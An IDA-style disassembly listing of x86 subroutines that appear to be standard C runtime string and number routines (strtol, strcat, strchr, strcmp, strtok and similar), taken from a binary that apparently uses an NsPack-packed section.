mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_41C13E
loc_41C0D9: ; CODE XREF: sub_41C081+87j
mov cl, [eax]
movzx edx, cl
test byte_4E2A61[edx], 4
jz short loc_41C0EA
inc eax
jmp short loc_41C104
; ---------------------------------------------------------------------------
loc_41C0EA: ; CODE XREF: sub_41C081+64j
cmp cl, 2Fh
jz short loc_41C0FE
cmp cl, 5Ch
jz short loc_41C0FE
cmp cl, 2Eh
jnz short loc_41C104
mov [ebp+var_4], eax
jmp short loc_41C104
; ---------------------------------------------------------------------------
loc_41C0FE: ; CODE XREF: sub_41C081+6Cj
; sub_41C081+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41C104: ; CODE XREF: sub_41C081+67j
; sub_41C081+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_41C0D9
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_41C13E
cmp [ebp+arg_8], 0
jz short loc_41C139
sub edi, ebx
cmp edi, esi
jb short loc_41C122
mov edi, esi
loc_41C122: ; CODE XREF: sub_41C081+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_4200EE
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41C139: ; CODE XREF: sub_41C081+97j
mov ebx, [ebp+arg_4]
jmp short loc_41C148
; ---------------------------------------------------------------------------
loc_41C13E: ; CODE XREF: sub_41C081+56j
; sub_41C081+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41C148
and byte ptr [ecx], 0
loc_41C148: ; CODE XREF: sub_41C081+BBj
; sub_41C081+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_41C19B
cmp edi, ebx
jb short loc_41C19B
cmp [ebp+arg_C], 0
jz short loc_41C178
sub edi, ebx
cmp edi, esi
jb short loc_41C161
mov edi, esi
loc_41C161: ; CODE XREF: sub_41C081+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_4200EE
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41C178: ; CODE XREF: sub_41C081+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41C1C3
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_41C188
mov esi, eax
loc_41C188: ; CODE XREF: sub_41C081+103j
push esi
push [ebp+var_4]
push edi
call sub_4200EE
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41C1C3
; ---------------------------------------------------------------------------
loc_41C19B: ; CODE XREF: sub_41C081+CCj
; sub_41C081+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_41C1B9
sub eax, ebx
cmp eax, esi
jnb short loc_41C1AA
mov esi, eax
loc_41C1AA: ; CODE XREF: sub_41C081+125j
push esi
push ebx
push edi
call sub_4200EE
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_41C1B9: ; CODE XREF: sub_41C081+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41C1C3
and byte ptr [eax], 0
loc_41C1C3: ; CODE XREF: sub_41C081+FCj
; sub_41C081+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41C081 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C1D0 proc near ; CODE XREF: sub_401A09+8p
; .nsp0:00401B7Cp ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_41C1F0
loc_41C1DC: ; CODE XREF: sub_41C1D0+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41C1DC
loc_41C1F0: ; CODE XREF: sub_41C1D0+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_41C1D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C1FF proc near ; CODE XREF: .nsp0:00408F88p
; .nsp0:00408FB7p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_41C213
xor eax, eax
jmp short loc_41C249
; ---------------------------------------------------------------------------
loc_41C213: ; CODE XREF: sub_41C1FF+Ej
dec [ebp+arg_4]
push esi
jz short loc_41C243
mov esi, [ebp+arg_8]
loc_41C21C: ; CODE XREF: sub_41C1FF+42j
dec dword ptr [esi+4]
js short loc_41C22B
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41C232
; ---------------------------------------------------------------------------
loc_41C22B: ; CODE XREF: sub_41C1FF+20j
push esi
call sub_41EEA8
pop ecx
loc_41C232: ; CODE XREF: sub_41C1FF+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41C24D
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_41C243
dec [ebp+arg_4]
jnz short loc_41C21C
loc_41C243: ; CODE XREF: sub_41C1FF+18j
; sub_41C1FF+3Dj ...
and byte ptr [edi], 0
loc_41C246: ; CODE XREF: sub_41C1FF+55j
mov eax, ebx
pop esi
loc_41C249: ; CODE XREF: sub_41C1FF+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41C24D: ; CODE XREF: sub_41C1FF+36j
cmp edi, [ebp+arg_0]
jnz short loc_41C243
xor ebx, ebx
jmp short loc_41C246
sub_41C1FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C256 proc near ; CODE XREF: sub_41C45E+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_41C26E: ; CODE XREF: sub_41C256+46j
cmp dword_44276C, 1
jle short loc_41C286
movzx eax, bl
push 8
push eax
call sub_41F37A
pop ecx
pop ecx
jmp short loc_41C295
; ---------------------------------------------------------------------------
loc_41C286: ; CODE XREF: sub_41C256+1Fj
mov ecx, off_442560
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_41C295: ; CODE XREF: sub_41C256+2Ej
test eax, eax
jz short loc_41C29E
mov bl, [esi]
inc esi
jmp short loc_41C26E
; ---------------------------------------------------------------------------
loc_41C29E: ; CODE XREF: sub_41C256+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_41C2AC
or [ebp+arg_C], 2
jmp short loc_41C2B1
; ---------------------------------------------------------------------------
loc_41C2AC: ; CODE XREF: sub_41C256+4Ej
cmp bl, 2Bh
jnz short loc_41C2B7
loc_41C2B1: ; CODE XREF: sub_41C256+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_41C2B7: ; CODE XREF: sub_41C256+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_41C44E
cmp eax, 1
jz loc_41C44E
cmp eax, 24h
jg loc_41C44E
push 10h
test eax, eax
pop ecx
jnz short loc_41C2FF
cmp bl, 30h
jz short loc_41C2E9
mov [ebp+arg_8], 0Ah
jmp short loc_41C31B
; ---------------------------------------------------------------------------
loc_41C2E9: ; CODE XREF: sub_41C256+88j
mov al, [esi]
cmp al, 78h
jz short loc_41C2FC
cmp al, 58h
jz short loc_41C2FC
mov [ebp+arg_8], 8
jmp short loc_41C31B
; ---------------------------------------------------------------------------
loc_41C2FC: ; CODE XREF: sub_41C256+97j
; sub_41C256+9Bj
mov [ebp+arg_8], ecx
loc_41C2FF: ; CODE XREF: sub_41C256+83j
cmp [ebp+arg_8], ecx
jnz short loc_41C31B
cmp bl, 30h
jnz short loc_41C31B
mov al, [esi]
cmp al, 78h
jz short loc_41C313
cmp al, 58h
jnz short loc_41C31B
loc_41C313: ; CODE XREF: sub_41C256+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_41C31B: ; CODE XREF: sub_41C256+91j
; sub_41C256+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_41C32B: ; CODE XREF: sub_41C256+16Cj
cmp dword_44276C, 1
movzx esi, bl
jle short loc_41C343
push 4
push esi
call sub_41F37A
pop ecx
pop ecx
jmp short loc_41C34E
; ---------------------------------------------------------------------------
loc_41C343: ; CODE XREF: sub_41C256+DFj
mov eax, off_442560
mov al, [eax+esi*2]
and eax, 4
loc_41C34E: ; CODE XREF: sub_41C256+EBj
test eax, eax
jz short loc_41C35A
movsx ecx, bl
sub ecx, 30h
jmp short loc_41C38C
; ---------------------------------------------------------------------------
loc_41C35A: ; CODE XREF: sub_41C256+FAj
cmp dword_44276C, 1
jle short loc_41C36E
push edi
push esi
call sub_41F37A
pop ecx
pop ecx
jmp short loc_41C379
; ---------------------------------------------------------------------------
loc_41C36E: ; CODE XREF: sub_41C256+10Bj
mov eax, off_442560
mov ax, [eax+esi*2]
and eax, edi
loc_41C379: ; CODE XREF: sub_41C256+116j
test eax, eax
jz short loc_41C3C7
movsx eax, bl
push eax
call sub_420178
pop ecx
mov ecx, eax
sub ecx, 37h
loc_41C38C: ; CODE XREF: sub_41C256+102j
cmp ecx, [ebp+arg_8]
jnb short loc_41C3C7
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_41C3B1
jnz short loc_41C3AB
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_41C3B1
loc_41C3AB: ; CODE XREF: sub_41C256+147j
or [ebp+arg_C], 4
jmp short loc_41C3BA
; ---------------------------------------------------------------------------
loc_41C3B1: ; CODE XREF: sub_41C256+145j
; sub_41C256+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_41C3BA: ; CODE XREF: sub_41C256+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_41C32B
; ---------------------------------------------------------------------------
loc_41C3C7: ; CODE XREF: sub_41C256+125j
; sub_41C256+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_41C3E5
test edx, edx
jz short loc_41C3DF
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41C3DF: ; CODE XREF: sub_41C256+181j
and [ebp+var_8], 0
jmp short loc_41C432
; ---------------------------------------------------------------------------
loc_41C3E5: ; CODE XREF: sub_41C256+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_41C40B
test cl, 1
jnz short loc_41C432
and ecx, 2
jz short loc_41C402
cmp [ebp+var_8], 80000000h
ja short loc_41C40B
loc_41C402: ; CODE XREF: sub_41C256+1A1j
test ecx, ecx
jnz short loc_41C432
cmp [ebp+var_8], eax
jbe short loc_41C432
loc_41C40B: ; CODE XREF: sub_41C256+197j
; sub_41C256+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_4E14F8, 22h
jz short loc_41C421
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_41C432
; ---------------------------------------------------------------------------
loc_41C421: ; CODE XREF: sub_41C256+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_41C432: ; CODE XREF: sub_41C256+18Dj
; sub_41C256+19Cj ...
test edx, edx
jz short loc_41C43B
mov eax, [ebp+var_4]
mov [edx], eax
loc_41C43B: ; CODE XREF: sub_41C256+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_41C449
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_41C449: ; CODE XREF: sub_41C256+1E9j
mov eax, [ebp+var_8]
jmp short loc_41C459
; ---------------------------------------------------------------------------
loc_41C44E: ; CODE XREF: sub_41C256+66j
; sub_41C256+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41C457
mov [eax], edi
loc_41C457: ; CODE XREF: sub_41C256+1FDj
xor eax, eax
loc_41C459: ; CODE XREF: sub_41C256+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_41C256 endp
; =============== S U B R O U T I N E =======================================
sub_41C45E proc near ; CODE XREF: .nsp0:00407C28p
; sub_40F168+4A0p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C256
add esp, 10h
retn
sub_41C45E endp
; =============== S U B R O U T I N E =======================================
sub_41C475 proc near ; CODE XREF: .nsp0:004073E3p
arg_0 = dword ptr 4
push [esp+arg_0]
call near ptr 0B40000h
pop ebp
test eax, eax
jnz short loc_41C48B
call dword_42708C ; RtlGetLastWin32Error
jmp short loc_41C48D
; ---------------------------------------------------------------------------
loc_41C48B: ; CODE XREF: sub_41C475+Cj
xor eax, eax
loc_41C48D: ; CODE XREF: sub_41C475+14j
test eax, eax
jz short loc_41C49C
push eax
call sub_420244
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41C49C: ; CODE XREF: sub_41C475+1Aj
xor eax, eax
retn
sub_41C475 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C49F proc near ; CODE XREF: .nsp0:00407338p
; .nsp0:004122A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_4202AB
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41F504
push [ebp+arg_0]
mov edi, eax
push esi
call sub_420338
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_41C49F endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C4E0 proc near ; CODE XREF: .nsp0:0040394Fp
; .nsp0:0040396Ep ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_41C501
xor eax, eax
jmp short loc_41C503
; ---------------------------------------------------------------------------
loc_41C501: ; CODE XREF: sub_41C4E0+1Bj
mov eax, edi
loc_41C503: ; CODE XREF: sub_41C4E0+1Fj
cld
pop edi
leave
retn
sub_41C4E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C510 proc near ; CODE XREF: .nsp0:00402372p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41C541
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41C53F
jz short loc_41C541
dec ecx
dec ecx
loc_41C53F: ; CODE XREF: sub_41C510+29j
not ecx
loc_41C541: ; CODE XREF: sub_41C510+9j
; sub_41C510+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41C510 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C550 proc near ; CODE XREF: .nsp0:00401F49p
; .nsp0:00404B17p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41C5C1
sub_41C550 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C560 proc near ; CODE XREF: .nsp0:00401F55p
; .nsp0:00409016p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41C57C
loc_41C56D: ; CODE XREF: sub_41C560+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41C5AF
test ecx, 3
jnz short loc_41C56D
loc_41C57C: ; CODE XREF: sub_41C560+Bj
; sub_41C560+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41C57C
mov eax, [ecx-4]
test al, al
jz short loc_41C5BE
test ah, ah
jz short loc_41C5B9
test eax, 0FF0000h
jz short loc_41C5B4
test eax, 0FF000000h
jz short loc_41C5AF
jmp short loc_41C57C
; ---------------------------------------------------------------------------
loc_41C5AF: ; CODE XREF: sub_41C560+12j
; sub_41C560+4Bj
lea edi, [ecx-1]
jmp short loc_41C5C1
; ---------------------------------------------------------------------------
loc_41C5B4: ; CODE XREF: sub_41C560+44j
lea edi, [ecx-2]
jmp short loc_41C5C1
; ---------------------------------------------------------------------------
loc_41C5B9: ; CODE XREF: sub_41C560+3Dj
lea edi, [ecx-3]
jmp short loc_41C5C1
; ---------------------------------------------------------------------------
loc_41C5BE: ; CODE XREF: sub_41C560+39j
lea edi, [ecx-4]
loc_41C5C1: ; CODE XREF: sub_41C550+5j
; sub_41C560+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41C5E6
loc_41C5CD: ; CODE XREF: sub_41C560+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_41C638
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41C5CD
jmp short loc_41C5E6
; ---------------------------------------------------------------------------
loc_41C5E1: ; CODE XREF: sub_41C560+9Ej
; sub_41C560+B8j
mov [edi], edx
add edi, 4
loc_41C5E6: ; CODE XREF: sub_41C560+6Bj
; sub_41C560+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41C5E1
test dl, dl
jz short loc_41C638
test dh, dh
jz short loc_41C62F
test edx, 0FF0000h
jz short loc_41C622
test edx, 0FF000000h
jz short loc_41C61A
jmp short loc_41C5E1
; ---------------------------------------------------------------------------
loc_41C61A: ; CODE XREF: sub_41C560+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C622: ; CODE XREF: sub_41C560+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C62F: ; CODE XREF: sub_41C560+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C638: ; CODE XREF: sub_41C560+72j
; sub_41C560+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_41C560 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C650
loc_41C640: ; CODE XREF: sub_41C650+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_41C650
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C650 proc near ; CODE XREF: .nsp0:00401F33p
; .nsp0:00401FC9p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0041C640 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_41C656: ; CODE XREF: sub_41BFB0+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41C67B
loc_41C668: ; CODE XREF: sub_41C650+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_41C640
test cl, cl
jz short loc_41C6C4
test edx, 3
jnz short loc_41C668
loc_41C67B: ; CODE XREF: sub_41C650+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41C686: ; CODE XREF: sub_41C650+61j
; sub_41C650+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41C6C8
and eax, 81010100h
jz short loc_41C686
and eax, 1010100h
jnz short loc_41C6C2
and esi, 80000000h
jnz short loc_41C686
loc_41C6C2: ; CODE XREF: sub_41C650+68j
; sub_41C650+81j ...
pop esi
pop edi
loc_41C6C4: ; CODE XREF: sub_41C650+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C6C8: ; CODE XREF: sub_41C650+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_41C705
test al, al
jz short loc_41C6C2
cmp ah, bl
jz short loc_41C6FE
test ah, ah
jz short loc_41C6C2
shr eax, 10h
cmp al, bl
jz short loc_41C6F7
test al, al
jz short loc_41C6C2
cmp ah, bl
jz short loc_41C6F0
test ah, ah
jz short loc_41C6C2
jmp short loc_41C686
; ---------------------------------------------------------------------------
loc_41C6F0: ; CODE XREF: sub_41C650+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C6F7: ; CODE XREF: sub_41C650+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C6FE: ; CODE XREF: sub_41C650+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C705: ; CODE XREF: sub_41C650+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_41C650 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C710 proc near ; CODE XREF: .nsp0:00401D2Fp
; .nsp0:00401D7Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41C75C
loc_41C720: ; CODE XREF: sub_41C710+3Cj
; sub_41C710+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_41C754
or al, al
jz short loc_41C750
cmp ah, [ecx+1]
jnz short loc_41C754
or ah, ah
jz short loc_41C750
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_41C754
or al, al
jz short loc_41C750
cmp ah, [ecx+3]
jnz short loc_41C754
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_41C720
mov edi, edi
loc_41C750: ; CODE XREF: sub_41C710+18j
; sub_41C710+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C754: ; CODE XREF: sub_41C710+14j
; sub_41C710+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C75C: ; CODE XREF: sub_41C710+Ej
test edx, 1
jz short loc_41C778
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_41C754
inc ecx
or al, al
jz short loc_41C750
test edx, 2
jz short loc_41C720
loc_41C778: ; CODE XREF: sub_41C710+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_41C754
or al, al
jz short loc_41C750
cmp ah, [ecx+1]
jnz short loc_41C754
or ah, ah
jz short loc_41C750
add ecx, 2
jmp short loc_41C720
sub_41C710 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C794 proc near ; CODE XREF: .nsp0:00401C29p
; .nsp0:00401C49p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_41C7AD: ; CODE XREF: sub_41C794+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_41C7AD
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_41C7D5
mov edx, dword_4E1544
loc_41C7D5: ; CODE XREF: sub_41C794+39j
; sub_41C794+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_41C7F5
test al, al
jz short loc_41C7F5
inc edx
jmp short loc_41C7D5
; ---------------------------------------------------------------------------
loc_41C7F5: ; CODE XREF: sub_41C794+58j
; sub_41C794+5Cj
mov ebx, edx
loc_41C7F7: ; CODE XREF: sub_41C794+81j
mov al, [edx]
test al, al
jz short loc_41C81B
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_41C817
inc edx
jmp short loc_41C7F7
; ---------------------------------------------------------------------------
loc_41C817: ; CODE XREF: sub_41C794+7Ej
and byte ptr [edx], 0
inc edx
loc_41C81B: ; CODE XREF: sub_41C794+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_4E1544, edx
and eax, ebx
pop ebx
leave
retn
sub_41C794 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C830 proc near ; CODE XREF: sub_40998C+1Cp
; sub_41581A+19p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_41F504
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C86E
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C87B
; ---------------------------------------------------------------------------
loc_41C86E: ; CODE XREF: sub_41C830+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F3EF
pop ecx
pop ecx
loc_41C87B: ; CODE XREF: sub_41C830+3Cj
mov eax, esi
pop esi
leave
retn
sub_41C830 endp
; =============== S U B R O U T I N E =======================================
sub_41C880 proc near ; CODE XREF: sub_40AF44+46p
; sub_40B562+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41C934
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41C8AA
loc_41C89B: ; CODE XREF: sub_41C880+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41C8DB
test edi, 3
jnz short loc_41C89B
loc_41C8AA: ; CODE XREF: sub_41C880+19j
; sub_41C880+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41C8AA
mov eax, [edi-4]
test al, al
jz short loc_41C8E8
test ah, ah
jz short loc_41C8E3
test eax, 0FF0000h
jz short loc_41C8DE
test eax, 0FF000000h
jnz short loc_41C8AA
loc_41C8DB: ; CODE XREF: sub_41C880+20j
dec edi
jmp short loc_41C8EB
; ---------------------------------------------------------------------------
loc_41C8DE: ; CODE XREF: sub_41C880+52j
sub edi, 2
jmp short loc_41C8EB
; ---------------------------------------------------------------------------
loc_41C8E3: ; CODE XREF: sub_41C880+4Bj
sub edi, 3
jmp short loc_41C8EB
; ---------------------------------------------------------------------------
loc_41C8E8: ; CODE XREF: sub_41C880+47j
sub edi, 4
loc_41C8EB: ; CODE XREF: sub_41C880+5Cj
; sub_41C880+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_41C900
mov ebx, ecx
shr ecx, 2
jnz short loc_41C94C
jmp short loc_41C91C
; ---------------------------------------------------------------------------
loc_41C900: ; CODE XREF: sub_41C880+75j
; sub_41C880+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41C93A
mov [edi], dl
inc edi
dec ecx
jz short loc_41C930
test esi, 3
jnz short loc_41C900
mov ebx, ecx
shr ecx, 2
jnz short loc_41C94C
loc_41C91C: ; CODE XREF: sub_41C880+7Ej
; sub_41C880+CAj
mov ecx, ebx
and ecx, 3
jz short loc_41C930
loc_41C923: ; CODE XREF: sub_41C880+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_41C932
dec ecx
jnz short loc_41C923
loc_41C930: ; CODE XREF: sub_41C880+8Bj
; sub_41C880+A1j
mov [edi], cl
loc_41C932: ; CODE XREF: sub_41C880+ABj
pop ebx
pop esi
loc_41C934: ; CODE XREF: sub_41C880+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C93A: ; CODE XREF: sub_41C880+85j
; sub_41C880+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
